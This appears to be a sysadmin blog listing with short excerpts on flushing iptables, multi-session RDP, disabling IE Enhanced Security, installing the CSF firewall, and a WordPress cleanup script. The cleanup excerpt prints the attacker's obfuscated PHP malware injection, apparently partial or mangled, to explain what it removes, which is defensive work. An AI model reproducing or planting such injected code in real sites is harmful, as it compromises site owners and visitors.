SEGURANÇA

Como zerar todas as regras de IPTables

Howto: Script Shel para eliminar as regras do Firewall Iptable local. É algo útil para economizar tempo, sem a necessidade de ter que digitar cada linha na console, toda vezes que se deseja limpar as regras. Sistema Operacional: Debian e derivados. Dentro do diretório /scripts cremos um arquivo chamado limpa_iptables.shcom o seguinte conteúdo: view sourceprint? …

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Enable Multiple RDP sessions Windows Server 2012 R2

Server 2012/2008 R2 unlike their predecessors, comes with the multiple remote desktop session restriction enabled. If you are working with several colleagues, you will kick each other from the server. This is really annoying. Just as the earlier versions of Windows Server you have the possibility to have two RDP sessions at one time. The …

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Desabilitando a Configuração de Segurança Aprimorada do IE no Windows Server 2012

Objetivo Este artigo possui o objetivo de auxiliar em como desativar a Configuração de Segurança Aprimorada do Internet Explorer no Windows Server 2012. Aplica-se à Windows Server 2012 Mensagem Ao tentar abrir uma página no Internet Explorer é apresentado: Procedimento 1. Na barra de tarefas selecione Gerenciador do Servidor conforme destacado abaixo: 2. No painel …

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Desativar a Segurança Reforçada do Internet Explorer por usuário

1 – No login do usuário execute o regedit.exe: 2 – Localize e, em seguida, clique na seguinte subchave do Registro: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zonemap 3 – No painel de detalhes, clique com o botão direito do mouse IEHarden , clique em Modificar , digite 0 (zero) na caixa dados do valor e, em seguida, clique em …

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Instalando firewall CSF

O CSF (ConfigServer Security & Firewall) é uma ferramenta completa que possui: * Firewall * Controle de acessos (bloqueio de acessos suspeitos) * Checagem completa de segurança do servidor * Compatibilidade total com WHM/cPanel Instalação: O processo de instalação é simples. Acesse o servidor através de SSH como usuário root, e execute os comandos:  rm -fv csf.tgz wget …

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Hacked WordPress Cleanup Script – Gists – GitHub muito bom show!!!

https://gist.github.com/owise1/096c2d31c866eee0adce     <? /** * A script to cleanup a hacked WordPress site. * * The hacker prepended the following to most/all of the .php files: * <?php if(!isset($GLOBALS[“\x61\156\x75\156\x61”])) { $ua=strtolower($_SERVER[“\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54″]); if ((! strstr($ua,”\x6d\163\x69\145″)) and (! strstr($ua,”\x72\166\x3a\61\x31”))) $GLOBALS[“\x61\156\x75\156\x61″]=1; } ?><?php $uispnwkeuy = ‘c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61″]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)60msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%xx78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x78x7824)#P#-#Q#-#B#-#T#-#x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]2425j:>>1*!%x5c%x7825b:>1<!fmtf!%%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-OVMM*<%x22%51%x29%51%x29%73”, NULL)25%x5c%x7824-%x5c%x7!-id%x5c%x7825)uqpuft%x5c%x78U;y]}R;2]},;osvufs}%xww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftp5c%x7825}&;ftmbg}%x5c7>%x5c%x782f7&6|7**1175]D:M8]Df#<%x5c%x7825tdz>#6-%x5c%x7878r.985:52985-t.tjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdf#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164x7825V<#65,47R25,d7R17,67R37,#%x5c%x782x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]c%x7825V%x5c%x7827{ftmfV%x5c%x7%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x78c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Zx5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x75h00#*<%x5c%x7825nfd)##Qtp373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323%x5c%x7860{66~6<&w6<%x5c%xx7825!*72!%x5c%x7827!hmg%]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55msv%x5c%x7825)}k~~~<ftmbg!osvufs!|fy3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x8%x5c%x7824-%x5c%x7824]26%x5c%x782!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323lsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)L4]275L3]248L3P6L1M5]D2P4]D6#<%x55%x28%141%x72%162%x61%171%xz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]1127-K)ebfsX%x5c%x7827u%x5c%x782dpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c25ww2!>#p#%x5c%x782f#p#%x5c%x782W%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5#-%x5c%x7825tdz*Wsfuvso!%x5c5!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825y6<.3%x5c%x7860hA%x5c%x7827pd%x5c%c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x78vufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6f%x5c%x7825z<jg * It needs shouold be run in the public …

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